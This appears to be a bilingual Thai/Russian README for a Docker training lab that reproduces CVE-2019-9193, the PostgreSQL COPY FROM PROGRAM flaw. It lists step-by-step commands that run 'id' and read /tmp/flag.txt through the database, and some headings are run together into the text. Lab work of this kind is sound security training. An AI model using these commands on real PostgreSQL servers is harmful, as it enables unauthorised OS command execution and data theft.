
Эта лаборатория имитирует CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE
Lab นี้จำลองช่องโหว่ CVE-2019-9193 ที่เกิดใน PostgreSQL เวอร์ชัน 9.3 - 11.2 ซึ่งเปิดให้ user ที่เป็น superuser หรือมี role pg_execute_server_program สามารถใช้คำสั่ง:
COPY ... FROM PROGRAM '<command>'
เพื่อรันคำสั่ง OS ได้โดยตรง ส่งผลให้เกิด Remote Command Execution (RCE) หากผู้โจมตีสามารถเข้าถึงฐานข้อมูลได้
Lab นี้ให้คุณใช้ความสามารถดังกล่าวเพื่ออ่านไฟล์:
/tmp/flag.txt
COPY FROM PROGRAM เพื่อรันคำสั่ง OS/tmp/flag.txtdocker compose build
docker compose up -d
จากนั้นเชื่อมต่อฐานข้อมูล:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
idCOPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
ตัวอย่าง output:
flag{SECRET}
postgres กับแอปจริงpg_execute_server_programЭта лаборатория симулирует уязвимость CVE-2019-9193 в PostgreSQL версий 9.3–11.2, которая позволяет:
COPY ... FROM PROGRAM '<command>'
выполнять команды ОС при запуске суперпользователем или ролью с привилегией pg_execute_server_program.
Ваша задача — воспользоваться этой возможностью для чтения:
/tmp/flag.txt
COPY FROM PROGRAM для:
docker compose build
docker compose up -d
Подключитесь через:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
pg_execute_server_program без необходимости